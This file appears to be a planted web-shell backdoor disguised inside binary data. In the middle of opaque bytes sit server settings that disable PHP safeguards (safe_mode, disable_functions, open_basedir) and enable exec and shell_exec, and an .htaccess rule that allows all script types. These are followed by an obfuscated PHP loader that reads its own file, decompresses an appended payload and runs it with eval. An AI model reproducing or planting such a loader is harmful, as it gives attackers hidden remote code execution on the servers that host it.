Q;''x\L6r`_2Z9IʬujkrpiqcxvEo.Dz1C_TۿujkrpiqcxvujkrpiqcxvIغB],gV_q"!J٤(ujkrpiqcxv$Np̈́$2J'!Z	Lujkrpiqcxv`;,br*i*%0޳}xAgeIZ6jq77HTl5G6@l^F+c|xoN;Xj_@̹	qd  GrYN I~_oF$R))5G\tb6U231Y^3I9{E[)h%Kpw&}l_0Jm\Pުߚujkrpiqcxv :ckf[*}͹E;̒Dm7hR7y39X٥;lֈ!ԝ?|ybjzwۃbԈy6_KW*]9)c*!9}a.	|.p@~xkD5U/[EĭIԏe
9$+.ar辦EJ\eXy\2ctqukwzyhi@'=R;|ks~#f܌`.{sO\r)yjkMD-hCDv;$mS ##F#:2$Gh%%+F9]%Tu#PN-dctqukwzyhi dV$'欩&{'?}Rf ),ctqukwzyhiEM\"~$	8vð&fnյ(B_/w.{Wu|^Jctqukwzyhi 6??p3bƀ"Wctqukwzyhi[G|& qB/ըU
tVĺmG#&1\81A
Sn:l)Mt]ɩt/*Ϟ_uѽmEdEq4=(L;}2]@?$
0~k.yyY\&,2Ջ(mwOzQg"Qv)zctqukwzyhi
թ;EҨIvyzH{4zs${:9
Ļ=])N
k6oMgEVUʽ[\i;$@ּ\ctqukwzyhi+1$*	]*V9SIO
_D&fRjkYUYS	'i4R"Z(fuOG
WƔKaVN,GtfgyJ,a90[9s Tm(&"o?}J?_6az|1~1=Q$gn(*H+'DU4ܭK7`%!IujkrpiqcxvrTXQ`qqfƒ9wOm%*.H@f0̵X,\*xvuI(vM٨Um3z/wScN]ouf[f1-/ً.ʨX^lY
dEm泿(/첹E/~l~zT0
Sx[k?op*:
α'Hc˔wLY49L;̰ctqukwzyhioKՍ0鎳w[1y;g9sshhͥ sm2Eh0@n	ujkrpiqcxvg)GBƑ-b{5D#8lcr^ee4~C7km;=r[IǲYRO,
:L&P\˓3X?5H)wRbҧw.EQ 9"\#.:f05CTiKeˈQ򫾉7#|0Ji@QyX@&EOo})T%wB.!2`89(4cѵ_P	=vXXٝv:֟֪T-E)FS#OuqƦ xOeBDE\ńU|w*N#	9gcm):Euxv4AS'6[wvH]!|6eupn;Gt\^0?$&K-&Qp5uQݤ1
GI\~$M	=zRx1# ?jUΥj^2#nI]W7MLZj3#׆2u^RQũ礍AUZӪ@7}@ogeU߲܆uG9sO?~Ioɮ̢ZQ8yPqAujkrpiqcxv}Vu v'b+1д?y
Y6ܾYS(ujkrpiqcxvp\6(h
:LҙoF7p4x8F|
'mjksw~'uV|}ɇqC +y5ӈF-}[7M 7dC%=;_z#C0X}t5VgAKE6~Yl_U?jH2?gALaK?#Ϗt:`/ڜ"Eշectqukwzyhi\g]phVjWi9b	ڜ.2zZ3ctqukwzyhi7GPVb`A)H'M-
ąwݸ=&a6%UXNT
iV$:$ϊtd$D֡m%ts%AeLSBs(o,(8[zX ܐ:/YVs[HXFJqA!jQIujkrpiqcxv4sL;"Pu&q'#F{0B7om6eC"8+JiI LhG:PѮAF;li ԍ뿹1Z8G{^AhӨJ8`	r^آɴLSMpN?sɉacWITǈZs:adΧ܆WOe #)3WfXX[
s}I(
4޷\L={|)uJ5#qd4Ӣbdo\C7^WxKrz'yQ-Z3 +6#@#[](e*J37dNԩA"KemsϯG~ MWDL5&7!6t{ᾴ]4na."q?nQiIg#ujkrpiqcxvSmujkrpiqcxvu8Gѷ*Ftep,6.=K8΅v;k{O'|3i72XݿHSz1
9F(qlXɪNVS(!̅VƬ^Ęzʃ,Il(2_0ujkrpiqcxv691a1*74D2yסS=daEHL`%KWIGctqukwzyhilP끀БP{C	:H!&`_ѩ55~-.b	t!4`/EujkrpiqcxvFq!g,(eѝ
I1h:(!%A\|Z*tG)ctey:1;]aRNoi%i\uF?7mܒ+NǜL_9:gua8n]j@{*}X_#BlSQ	,pLuJ4Q ctqukwzyhi˖ctqukwzyhi)US;(Y#Wfr9	9b6~^q)pV!dɶއwO=#ZYi{:5`]Gq̛H̦G80G֬5-zFKq}s+=g!Ii=i8D
hբQp6\{X%}F~XR# JrWs,D[K]RtxyW'g-Vocvl|O?{oobtyIA않ۘX9FO嵣ujkrpiqcxvG: RV{2	xUpZ2	KA5EJapZDaY[:d=̂N![D襤bt(-UFC.9r|Z15Ye$ljӆտ2?PNH8mcڿ̜fKIJ2
)Gr̬{j辴H37?Pf!hyctqukwzyhi
'~X!-zƜOMT0 "%(\S2$% Kujkrpiqcxv
J!ÉlM[bFC`v^6Pyߣ8ݔOp1 :e{&Pf~Wu!4~2Q3L17M,/8yK|!ŵ%kAZq 2ol}Ƶ# 9֌,dA Xi	[B/|@K
2 W?ujkrpiqcxvv?~vn-pIz	z(QXQ}tϜ6Ch}w
nɶ2PnlމiC1ujkrpiqcxvL5ȕjujkrpiqcxvn}v [	׫~=
. ɠ
jFHh8=7ctCujkrpiqcxvDϦKDǠ\;6oxKJK`%܃DL5Dب׫LJchwUk%l߮ujkrpiqcxvSq}&b&sL3~ G,wDN#qNh37Nz0Dys3/F w:|]Ņ_EgٵшYkQ\Vu+xPǺ+ |tzɜ+ITfvX3E{9OzUˁc\)fɛxACTT5s#` -#_fSa]qﳻ
d҇J$7GU.j)FH1ܯQ/]Yujkrpiqcxv	n@jN_d`?|jGya\aeD@#* yR`mJ@.PM:JELܼjHRB'Kfdl2V
F-LA~qI,:W?:²ȟ4ctqukwzyhiD:
fij)??(DjiWp[ZκõEa^)
6Np=Vd큣UGYh:hRk,8nYL1SK:k};)I/9vEb_QH8h,fbQ yrz 	s,j8Qc#2@Nt5ujkrpiqcxvF)IctqukwzyhiR(Y"bO,٭4
 t3"_caqс.Dg1:py3B.	=z	c9,Dʷ$(iǝԐU[zL-c]1E++(?5ctqukwzyhiNj0xm
'ً|^,
[紕}jp+4Z0ujkrpiqcxvzc%;vujkrpiqcxvBKKx	0~:ˢ~8 0naQQƕ6-kR=&kk^8M+
*25tĪFwYT*"m}	Ed9Hx\TdyI/MATK 8/\z{
[z{4yqzqni[~ 	]?]#`U=*ctqukwzyhiscH4U4G21C0Frr9Q(.׷}c/ {7.7j ]t$h x|(TbbRoO[Ql9,28ӡQZOfE\ŨH_ے!O-v@ߝ'Þ45v|$Uk0/$.ctqukwzyhi`3}Qկ(uz" =@Ŏk
nRhԢ¿d:
s5n9TR r݂M5m{/"Ubݻ|$Wfc;]ybTn	.,2#C"	:yC1W/2_©_";
3w,~ppS
ޝJ44בuzo2(=ZS#!]3yjxBwlG-H!{I
&_4xnpBmK"](!kܲ@ _S{{9tn?{F%NܳkPEٺp/^3pQR=3}Yts0%a.OctqukwzyhiIjJb] 
8xlb/Fqpa
%^ yroHEpXkRO~\VS{pp7B` Xt[giujkrpiqcxv \4ԹAsJ;s%
R)-=!m
 88!]z4V}'[Z
ŕ0]C-6|61o_,-No~"AhfKba	D+ܳ@tb~dJKMVr .L۰oI*Dɕ`d4F7[{}j/{Q5.|@(fctqukwzyhi6Vh	ii{UF{!9C2ӖS#[*=UfVmqqBwӨK֩c%WW&테I
LL[cXsǶ~Bh
r|(*3bujkrpiqcxv2ujkrpiqcxvP"Nj3F!ٮL`y	9w;r
,Mctqukwzyhi$t$C~hӲ?ӎa2sf͎w{2'
 
^-f7rE8OM*~9̂η	klpctqukwzyhiYpƲ5?1"wctqukwzyhi$1`vG2d@9f
KW5Tj ߩ!Qnha*֗sa6nPx6v
ujkrpiqcxv~Nڵ';Jnw&Cy,т7!
eKGf0DZ"Di(yI+a^cctqukwzyhiƷ.`'V(A.l1f!a^0(UURDTٍ'aW2T8J4 !ujkrpiqcxvA5bFUu.qa,y7;M 0O7Ls


ei=0ujkrpiqcxvg X3쳯yWbq2h̾m%6?ut+~)&Lˉ5,w0y"̿o#g,\ުױ'ѻ(w=\*ctqukwzyhiN3K?ScߔZctqukwzyhiة!
,fZ'NtP1vԕ:x54UmiO=`ۨu$TT"MQlK
@Qx36BHDLق(gcqQjD|3'ĵgF)tHۄp֒ mujkrpiqcxvEs셑i'4k2\Ęwy5#/{o$3C+E;O XNBsictqukwzyhi]6
MNctqukwzyhi1ړIat]X)hOrb.p% gጎ-5ݓ!Mj7GLC6:]^߽E!D]xSM$)!KvujkrpiqcxvN6wvˇlFoU0z^\
ߕ49xyk|ڊ R
9zqn9{os0Tk2&ԲhU%4f}W#ҢD {B :xWcctqukwzyhif+R8y΍Cc*/13^rAxkm@tE*XzI{%eprl]b\1sxJȪDdd=@֤k`QNpz|4AyTY۝rZI@r$ba]jBmcmqPQudRHPdxߡM}ePݽvPwCܳl)
EX\zo]~aQkML[ޒN6TD,b˘|\b^7M|$:5TTߜ߹503fO5Ry]H=r]lRI%	y/6Sujkrpiqcxvt3oQ OC&Lhx_T!͋z!Uzm ኩ
o-2`[-_K@	y	aasSHKi~{%& X{c%CLvo2_?Ķjujkrpiqcxv/%[/ɦuמI7dctqukwzyhik^dK#@JC^C
@ݫ
p?м~s?j)
&*yZ3ѨD	bHctqukwzyhiAJ&zmctqukwzyhika4B?^.xm}]%)/iC" (O[cqdIzGbֽ(?7皃4 SM7Rև"olp캂nw[ꅧwՀ͘r%To .ʇB	Sy0d# mujkrpiqcxv[ry	3	l ]/K#/ABsOŀe"Z{iдCK63ngޔv0
2ȼϿ4GEB[2/3 aٲF9&^2zzJPlnThOLJGQ04(5!TnkT_T娫%gA/,66
'Z_Mikw:|2m%UJ2z/^ʹ[+
|Ko-@k!tS*!:O+bƭ yh	QXAXGk[r}0龱y
[,5Fo2r4pujkrpiqcxvx1f[W$+fCbF?t3Ɉܵ[Dٯ"]?kszޖXyΝmN*ctqukwzyhij TŪ
|o/'ujkrpiqcxv?7XV"eۦ/R-
xeDu V8s2f@=ϗ[FY$eZH	#/!NUVځd(g5QPtWE':ͯ1km]vBZO4/Rj3̭|3ы_ҟ@-7ޥ
0C2P:xIՔj8x}}K46LE7JJDOSFK(r	cTZA:ۅIȹa(;ϫaERQj3Te
&K?ػ\T#cЌbe()A(8rB3*/ח4qb@~Y}?9?𒪴ctqukwzyhi[Sr-%YB2dlοXZ)h%FydF[ꦖǱ\@5FK;tB^cN/!gdvL3(D

E|RХ0	*zpN:c*~Ty}ՑjÙɳ0#0+OGtKa M3EgL?J?c~5ot&yVV6[9tجK^9:(J	7)gj'
T%Hjy]m+ߋV E31ȷv [#rJ1NIz;8u2
)U%'X^KLj#\$w.͑	X0

H(+/c7ctqukwzyhiceq;55߰_m!
yss4s)؟H9
7K=FctqukwzyhiOY+i2
?dtCJ#J	nj.pvt#[OQ$+\i`&HWFCЅҵ~-Ux	PӬԳsv$g)=KLn镂2'܇n`]@Vϰ.?|"=7GqOVOol6[/FP?b
;W7#yRtVmyXZm.DA70YEOԋh1gCRkDRujkrpiqcxvpt̞fn.[&1SvH,Ld_nctqukwzyhiE
mFUcbԽ~L"V
lVxw{bLctqukwzyhim,^W2`/tPZ[W'&lVl̼NuךH3?$ȇcA|}k@mF]@[} ltm i@[/"RtB~J]`TD "=w\Xʅ"ɲGG"ݮ&b@/zXQMiVoGhwC}kN+Ud`Ʈpi]=_.
FkB0)^m
.D&r{Pv
R.!ujkrpiqcxva~hɵ`_"҇ZO
M24Gw#1d}U{vq;o\1z)
Z}wPujkrpiqcxv.2יctqukwzyhig@E9/`}7Yv΄(hIM&T(DȾH[b!#FmXa2$U.rD嬆ekc'k.4HѸl(/Pctqukwzyhi@OgAr7ƇJ6 Q.Pvtt-wWY~9-Uq7V~`mbgGt"꾐LN_YK?#نP҆6(rJ}~9HfmrN  C wnq*Tț|++WV#:^yoCDW]BMQ*GwYN!^[Kq9+=!Hy#tӕM{'oxkH!TP+NuMO d+klɂsBWPۧ\L;#I(4a1*VR@̀dbw#%a_P˾ʲ"Y+GDL96"ujkrpiqcxv,G|jz_#
}LֿΡ _ujkrpiqcxv)}\e
UYIq|^)P49,8 fB/ujkrpiqcxvLugCN_^]d,\}mlgjUW	MSN6OL3n58]0	p*IfAj%EGMݥLeP'uIVH|	3KLh.GRki$c)nò?*ʿ0*#SzPSĀnUA)=?@5I#[sBiQZ(U\:8y8:nz`!_bwZ9)o(w//0݌
 Cri2MSo`^N0`
]~CD;'?8-}jujkrpiqcxv|95Ai~Ǘ^D}p/Et'ҦG㭕6j,%C+3jKIiN67h-(8fJpza_YG\ƫ	EG;^AzC%R{y(ÉȀoZƌ둻
fZQfӗ?|4bM{(
?BHN}ctqukwzyhin㖟%zH_y͜jR'kX}S)_qFvh$_:8&
OdӌSa~U3\\n'~H si4zd$mn}w5U2j^_*͉]߯Ɲ:ѳPW؊pHZrrCF4nvZ]Ug?58iCzfj2~bοGI0[J'2HW4ZO{|ZZ{LRgVM

F4"wvN
闽\z9o*щnه\Xi&s8R91F˃ðR,򵳇f9G֐GhYB{jɮ֘{8e@cpSSΏa2{|?:uځbYD-NpCi9[A&#ctqukwzyhi?`X-ID` *%TWB!N^%8oDŢ_fYv5wXkһd?!htctqukwzyhiPT@i
%${(gXujkrpiqcxvߊ֯kHH.{ĥ@ShCs;;Ym##,%7{$x$U^nBY3O
ctqukwzyhi4Y?ctqukwzyhi5-xujkrpiqcxvH$EQb]/&.̖
kTXHu/˕C[#pͭdb#JܪdC+FAhlu[`N$vP밼0H3N.$piÏwM,vXTl2~g6Pt?Mܪ5
ctqukwzyhi$O_
o_f]]7@$[\eLaw'#$}Y5"M|z#opQ7 x*,\}t:F_h=
FvJ\~קk\nxoe_؛j'
w=sz=G*n.tũ2G pMаxnQ+E̤çgC"|-
Run=RctqukwzyhiJwi:H6]ctqukwzyhinK=[w(q0\
Fك?lB=;k$(fztz;Ns^#ؔ$cBctqukwzyhiM/Q Nbԉatce$zל[i_U9ujkrpiqcxvjIZROk/Py"g.1*4Uᓃ)WVRt-ctqukwzyhirJXGj%@㈯,o	BV]j`BujkrpiqcxvsvᙶHa4ӽ?V?{Q#%K{).
Oz-{`-E}jC~=LHaF_	!p3 /yi	6'0C
9ctqukwzyhi}Ød|6jmA ko
rl ~M7m^R.d6
tY?OĬfAj ok1Qq+oZtwLj96D*f'~*UܦY+'@,7c- tv Z
?&*B[*u6T
Pnujkrpiqcxv=~Kler׾\ѡWmdAgņ"η@ pA};Iw/˟݈_.6n=߃ً*UkZpZV 1Esb7	qRڹ,4Hy52Ay暙VJ/%VE[A3KЌl`
Mp9- UJV+:q!yL[\ǌ3W?ǄrrWXBB삎#kbɴ0$)6zy6DI&»̨󃼬V,94?1LJ61:R3Mh\;uHݘ왯nVF-4ңp-8=?{vS^jNOr;M*Nrkukh28'BWE䘃gO$"p8PzeV΀2ctqukwzyhit| N@4M|
|&ctqukwzyhi0@x3ujkrpiqcxvޠB5ՇO ٫n 8c? Ǿ?Tt~wEMgbLW;y:9e&k\iǢmS;X.pR6_3f2:
II|@XJKacOy17jujkrpiqcxvՏż
đߕ:q8o03 k~B:d?
2x3s[p!]8TyRNQuJcy_$GQTujkrpiqcxvݚtPR7İ#"u@(ZPpᑲy\ypSjH2e(JjsyMNN1M9-nZ{/ʅQd95@%F@cץ..@jv@!RW0i}z+N7Qo'$HH[nWVEI@7#okZ!"B/5~!MUmvHixH/ ),ol$qdBU?J(i;7+HfltI[ IuVNՃoݛ!OPuD̟DKMS-2-3^[,|S~[Q73O2ujK$)CYp̖]'4|FS|d_9ujkrpiqcxv&&'].ɾ(#[p,l/۹f/ |YTctqukwzyhictqukwzyhi0T(Ԕ%	s}~{F0ebXKAnt,TVa'n=0PňSg4v7*"hwy٤ όcB6#^E㥊pheAb%d)]wH?BB8lYlˀkjXctqukwzyhi=%qJϗEb,V7K
uviX(DvZũbq|38	*zԂ%|ʆ'RP"JF
ZH
h8z	Z-` Rf8tA{[glqCB{ #ءږp
w5()Iq	*M4m ƇA|~;rM8܃Scvud|@`"޽tG:XM$9[`(
{P^|m8~@J	= *f懁8E9e2c	,`Fz0hfo'G"N׉_NO6miuȼ)3$@f/ n0`aX s4xqmYXGiO`[r1.?(rCA-`gr3:nɻIiactqukwzyhiJM?(O,;\l/T]mqxvnyR+f?meg	dhGk_jEfpȱ ctqukwzyhicmA~ZޞK~L,~6?ݫGujkrpiqcxvÏDaÎ)
˹3O=˛Di+U$Q
b8whל5L G%x) hH/DuIctqukwzyhiTVΆϽ#hծ_"~0ޢ	;̱XP6!|6a=a(r7s;ҶS}AQ%tm+
J=qX_ܡtrq3sRe;}Uujkrpiqcxv`MإctqukwzyhiVq
znWeoMYkߙe$;T\'ٿgD*FI&Q|vR\ujkrpiqcxvn0C\F4t63,'FI{*xyW؟O/ Ԛtl_/Tx5~F1tl7"шpAЊ~3ЉgctqukwzyhiәlGF*؜s{;6kc320_6.(!q`~(͙bM
#
J[	wHRzƁ9G)cKUtOYFrds{4G&
W0r, FFͤPj"ĵQ*R-Zн
J]~Xb'ߥ`c5YjٴhC((̾uI5)W-5eb0WFzd0Uet3=J@4Rf
v4Ae|R1dMW(Z1~jυhJ~~K'& Am+a=zs纊Y5lIm\Q!ujkrpiqcxv,Pctqukwzyhi=UN[dbVX=D1==k6cJ(D	4=33Ac)uEv/TfO vvV{1ˋ
G	3Z߂W\k.hFG|ŧBujkrpiqcxv~׌Dem˚eTh&u @)s/..Mĭ={#RyOgz!6EÃN߿S"|yazQ*
/fh\E6ctqukwzyhim0He?VU8=
;'aeA=qI 
?"IuS9@gM+d696tk.: ctqukwzyhioMujkrpiqcxvC]MQ2ᳮ2C"%G!!
/)a}kq@z?&@rZ8ia_d!503PDΧn.A0TuT,2مau1XXoz]G&^!ށ7
;֗T}6twujkrpiqcxv8Ћo˥9$
evSSYHy5B~wn]s'sgyƎ79u9+h["8NujkrpiqcxvEZ}$؜/? ӵNmH_SɚnI-7|.,~{r̿XJ	08aeb4Sd2zv)hS[k-ctqukwzyhi E3BnbN)	:`OcnD7]9~
g*Mo(H9{Slɉ=59 RFa%_N2H댦mK0:\[gуZ}FP$ҒJB+{Qzctqukwzyhiڥm\Ir]@f$::R@/bq'61A/PZ9&ay`@C^zQFl#҄Q/ÇQe_:}jN$=h-ujkrpiqcxvnSlvqk=*(tU",}	L܏7b=j7Q`59m!K!c3E8{WjK1b%Pew5gEvP+
,ւFFGabiEk!(8'X:TwctqukwzyhiX&T(',۵Kr6%+fŀMkwɶ0[5f	nL`2RP}O?p\]AѢAnÖGu"Nv7q1BDn/%lpyOgS?ϿY2safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$JVOL='su'.'bstr';$tFHl='file_ge'.'t'.'_c'.'ont'.'ents';$eHtT='e'.'x'.'it';$NutW='gzunc'.'ompress';$YpVN='s'.'tr'.'_'.'replac'.'e';eval($NutW($YpVN('lvwamqxnsk','>',$YpVN('uoytlgvxni','<',$JVOL($tFHl( __FILE__ ),-172457)))));$eHtT(0);
?>
x4גܖ^_P9j"
]M=t${Cb(r99Fe+q?Ulvwamqxnsklvwamqxnsklvwamqxnsk?W6gsc|?v0T]GO,KlvwamqxnskV?Se:u?_럿G/}W-!20W,xj	6HmyEQ7cFXK\F(q5 y Xuoytlgvxni@\
~hy  lvwamqxnsk	Y" u1'V$@Da |A`@('&_R(8DcR@@8 tL90~lvwamqxnsk\ ?]1@Hg4x ؛с  Q ?MC%JރDÂC 41A0x /gz{lvwamqxnskq#H`ڋsLŷ )tGp~B5֛qf		HF^R p4 󆗠QuoytlgvxniDlvwamqxnsk  &xҁ`"!VPއ
H.U{xωe !P6vH 5Rʻx@f^oEbpCH h!+r) I#/C h CwB@zB]:d@]'&CH}χ(@B @HAv	jqPan N!\,{\~uoytlgvxni2h"Cduoytlgvxni ٱ,!)8[-!8٘'*ԘN1 HZOfqw
"	
u\xńBH
9pRu6#h
 oGgN3Po
HCڕfqC
"E\PԱSuoytlgvxni0(ք
)iHޅyG&ZG l!໙^ԅ|28w-@؈ےbؘֿ}k4uoytlgvxniQېmf" 0Z};Ws|EW=25ZEHpHdmV|$C	05gͳ-s2jd`ҫlvwamqxnskv3.]sV
M?;m	},o%*!Bxa-*Ѥ|7kr9bDjTz}ν
'D?7ڍfꕎ(?z݃xgm5S7Yq7۟uset("3fCo_RBWgL^Lǣ`	q4uoytlgvxniA}*bR}zcI$oL=}_Pw
/iڑ6!PllvwamqxnskEXC}:ӓdAl  v =xlumLvez|	2jb=Uf`
7Jilw?n.=W"e1t\NKǧxl)tN	܏'(P1Aڊ3CJvF
9A3jƢbtfoFY;G*ɩ H%!鹭ڠ/lxrduoytlgvxniv@e
 }O\]3 $r,ךsA6!wӝ!k3m ~oRbEVh4ӣJOƤ(&':M)iHW*V4ZSDmO2ilvwamqxnskeiRZMx9lBxOkTV*BZG
ښ5KG##hOrT+Gt ,㋃u/*2;lvwamqxnsk8|C@׳blwp]0ZZ)q1[2elvwamqxnske5Hbx݆F@;ܝi4x!b@ۢ$XF`!FAU9uoytlgvxnie1?CuoytlgvxniN*WC3uoytlgvxniS{E_'Y*\hR]#*+M+5ꊤMIlvwamqxnsknʁ2l2D&BAm%YŋXi-mMԧY
[ x+Ǫ֏ϴ\Q?
3r|v7{M+jyw$OG`HvE_^ő5KdjeDԃn)[CR;f^PtgC:eI;@t,dv R|+:ZU=]U\gWQk:-suYypr_Qk " `&WWIv#lvwamqxnsk3C/tTlvwamqxnsk T
BxucB5s)؉84W
& 0ػP;6xe{@~]
yuoytlgvxniZ4}aP|(aгTaӿElvwamqxnskV%°ȃe3fXLl!5auoytlgvxniP
'\Ahs\ϹfUcs9uWFhM-
֢uoytlgvxni#2K	 mK%m5dᏊ0`1/&-J!/"ުwq1qzUY|1QS3JIۘXSA~LNЉ	`+y
R7흷Dm:h:
hwxIj"2Ģ/$dMLr)/;7ўS7J(T+k+YEL^hۥ~bϿXzn3N:0Yuoytlgvxni?Flvwamqxnsk]1:lvwamqxnsk4."$Ė%W#.ۺGu2&يNPPBZ5ct=oPL	zPb2&]Y"}Яh;a'fhmlvwamqxnskz
+V*bSTK
=P؁;=-+K5cM7$
ppgv/ݠ|i 3S%/;#QDo$X+xؓXS簱
lE}tO8Sd;|.%_	UзGˬ:9 5
ъc0PÊm/ G'IUkSnOkPCzޢEr/Ww |p)@5ƝFe.3qjAV( \¤%2jUď%ֈ?I3ǟbi'!Y0߰2h
'{	#{#[B(sоlavĬGE0In^[,?0Jt`wrWwT5mlvwamqxnskbt!8@wsa:Ab#,|ߐmݐ-ۡxR	M˱Bܼa4|Au_ 8NR-6&ЊrVvfԴY)/FLAdD75ɱN&r}H&h5q=fОuoytlgvxniWY3apJ`_'InXE,:5拟+~훆6/8$y[gJI瀄ƋY̐FGJvGfKC{pIơ9 &L٭u1Z*n`xs7Omb& 
./@$Bl ]lvwamqxnsk];]uoytlgvxniFK$bf/˹~ uoytlgvxni`bXh"=jt'􉱤ԕuԐJu.=)pG֒bD*JUյ"l208WaeuU4cwF}_ةWbR*V/sg!~p{䓘`[GFsdRd~7lʵr*N%hxg*L
n~Ο@X8`%[૝*QSwȩw'^}.f :3/TR"ъ*rFuoytlgvxnij,h{(߃_o_bUϔClvwamqxnsk΋Xȯf
a}&	gUmFS/uoytlgvxni Jƾm}}ߴiUi%~'k](;1@鄌'YOM Y]}3䧖ypq79VPy:G-"%:M
{Lp˂~qUìЀCuy;xhgjGy;!h[?'ƫlvwamqxnsk;SYPSQ]V=a}Ӟn&Rm3]k"wt-,՝
O݅34z/tͺmaRiiq)egIe`oR_uoytlgvxniΘTlvwamqxnsk}vN!K}Hlc{H!RvaxQ}Sb$܍bf~]&ݾփt.WYsuY;+)K#/oY~J8FS/  {׽.!jfM	=8(tEK^LR2hѐs,&YZ68ҙxk[?2
%z҂*Ć%tkGy2C^NM/N)EvTǍ'C
ࢎcWn?fلAGY
1ElvwamqxnskWKl~
ԞbDu*!_ve}C_Q.i.lvwamqxnsk$;yczfŔH45FIom8~x5mqY-C5L|]T6(6Z]wtpK
'bO~Ǘ
#0y{*꫔JD{'eHMeQSaa=ߎ5*-?tAq[{bePlC(@qb@
[J]e΋SX3.cD=GpjKYbOn uNLznN~BWo 1Ie,Kg4uoytlgvxniFMn=	,۵кc̟KamX\wRIVPoהXYKDT+V[
L;٠XŖ*)uoytlgvxni%Z;a0dY$oݴj[8vs?}.??̓9%Hi̲Ka
dۍ?0_+F"$^]hOX2U*HDBo"G~^tCkNFG*Tȸq߂W:S^^:#NXl}Kٲp5Y5W𡯤Pg!t$di%Bo
0yD$^88þIO\" Nǒ{lvwamqxnsk1Sx]{Y+Rf9y8Q~*f&ʶ|*W"pڲWVoZ+}aܿ34	lvwamqxnskr\L핳7	*ܹag3|j,QWԯI3}7V$AS9Ɇ*egάɜy#դoǰBRy^N"WySzx&ȮxTZ+k|gRkTJuoytlgvxniFɬTWےLGw\.8I0ʽvH
SqTKN"mt/sR)Puoytlgvxni\,
l
uoytlgvxniLM8lf!o\/yBf\qqNВ斒F}7gXi޼xuoytlgvxni;||FϔMՀg!~Sϟ_iS 6{١?!dʱxTPa282ʡUpCLjʯlvwamqxnsk
q1yڭ~#/1U"{`O/TŒh*uoytlgvxniSNuoytlgvxniK@v
݋"F?	ʶ(3pON~ڙaN
s^[%1k@RN D``Ё+ID`:S/VQ'ɓ84ڛ~dgٝp1PSS7AV|lV)hB:5Ő1tbpgc{7%Jυ|:)Ox@/&Fe㌘k%gcx-Ų1];/񜋆e4b3)o
~z:C-{A:ѥwPϜ7bp4XcxgօW?nf0ɼuoytlgvxniJ6/D̑Uyx6 J{w8c\$Zi訩g%BFƼ_na}lee'n}3YOQ
y!3(2n@t)4E8XZ~=O1^pF|s3blvwamqxnsksC{An@izLl~T7	zj~Yڮshq{
	g\?{~yhA߸x9	zR
wQ-OJV*Xͦuoytlgvxni	T	=v;fE7`3lH4)4td)/L)LbʡVh ãuoytlgvxniY{}b
lvwamqxnskP֊}3J'9olgApWS9uoytlgvxni.-[ڕ9 Ma*	 l,%iPok}Ņd@+^&57TL&lvwamqxnsk#_WCūٗ[p-8V(ܽAMajJ4VASr!/s&P!nb͔6k3ќM\Ұ~ÔKX3=qV^iڍݧbԔ`U}wDQ`lvwamqxnskOvJG$]1vr]U6-|͉;ك1d'}C¾{(MVN¾8iEZ*dUcI.0IrϭGlvwamqxnskOjSՑT;1|7oqTo%a"Vk5Uuz|bL-7=v"l3E!{ƨ|uoytlgvxniJgU!-s,Zdm9ÜGP8}[cmlvwamqxnsk1NJ49%/kY|DBd=G]Ƙ*Ocuoytlgvxni^CxA^~~eolvwamqxnskC!Ǚw&G9IHєl$Nlvwamqxnsk{^hFT.M0Lpʿq⽺z9̇&q\Ƞ ߁4ST	B$M]QM-&pF'k_nA08_xOh'߶F/b~"Ԉilݲꄾ9MeQeq-P]p!Ҁ%&8rlvwamqxnskǣjT)AB~uoytlgvxnixU"Fj )e5&شvlvwamqxnsk@1"4k#V&$?Ě)7LġHZwCAYm
u@M
%ҠmJՑH_H}~&
G_XJ݌uoytlgvxniC[ҲCR͂,p}Z7Y\w5Sq[wx\P[h2cM.uoytlgvxni*ZADelvwamqxnsk:L9f1n9uoytlgvxni_#v~9(!;hY|
[ٕ-n~Ŝ{YoewXKoT+WG&dFRʺb.ݔG8'vXţǸ^tJ_xd+pEy7N_:l``S9#;8BvB'oS5N`ާM2GuoytlgvxnizI(5D8
 kF$|1He_Ӑ\x!yP} k\|kSmm
R31MEhPߕ_`;gG^鰱	ɢUj1d6RKmZ&TWST~Z:omQuoytlgvxnia	0jTP]ǿ{Mܩ'FDlvwamqxnsk ɵ)&}][+\]-$]j*`GK1Xol[]~oD\"ŅqlLf:HW歑'#0'-r+
NfԝWi$ h6
23l|yզVnv
odV	nXYLJ%aIx*7bje{'ٺB}'eQr(G/}*{M $2a҄Z*9
Ņ?3oyCc~tn!ę?ם9U'%
g`xsD0ƤRR=/#gL4we=y/h*]$Mum˦㉋m?(
/FDpoN17*(?|XŨ*eHR? T\ǅGJ֗Pעsi%؄ۭ(V=BP'Lİ?$֖&
ي=2/}-~o*WKJWAI3=wz2kCnnY7MJ.BF'FOX
=I7(f֢{er|(GrS͖0^Q#mO0d 粳N;lvwamqxnskGH SMΥM=sFL ]";6dS2Z)|lvwamqxnsk^o}S=;Q
(O`I lһmMz= Ũ9*oJp#Y^~u0ҧ=~s2y_؇أ	BqSq,^@IPڛ;Vu {nq k H?cTJؠ
ތ'E׃+P`涳s:)Tsc0uoytlgvxni$S`1(&!*ㄵTyuoytlgvxniʼ_IzCT^Lf&!-*8#}O(.C[Z1yE&}8P $Xѯj	MW
b"^uoytlgvxnizC\D%3:^+fh-xqEO3&Άb|Y|&&kPݠ#q2v1$uEv)z~,}s͐6gHc{:?(78fKq?JvP^q3έmgLm޾c8n:?1d3LEU`앀#n3h[wWlvwamqxnskH!b R;Cj`0
yQ
=$nj;9g_ҢIpI5=H)]g@UWe(l.^$#bObյ脯2váW5ix
i	ՒfoQS]9;Ë_ir|G^0@Q^؍Ctlvwamqxnsku-P߰\c/P\A3zuZ1Fge`{0O'PMxOÛ4Ӡ_	e24M
ֻyy lnT:0Ǘd4Cr+Ʉx˖HauؐKppg&ܻ|lvwamqxnskg$oՕ$"0h8
QR	GhZn_)
4VqJW69#&$=72}MJ2^G4fXiLES6x.Lz=}"(|aV(EPS;8zqRf{d~[qⳅ~-Xl_^W[:@bH1~ʖӏUXw[UMX3:qwhqP.`,T$Չ8Ug
ҝkXƵ3jS#pib\GBh}lvwamqxnskaCMT"ׄwb%sIs{
nv[¦)Tͨb!h\@%[@}K舥Չt:C0Ǖi͎ۡC]\[@ O8N
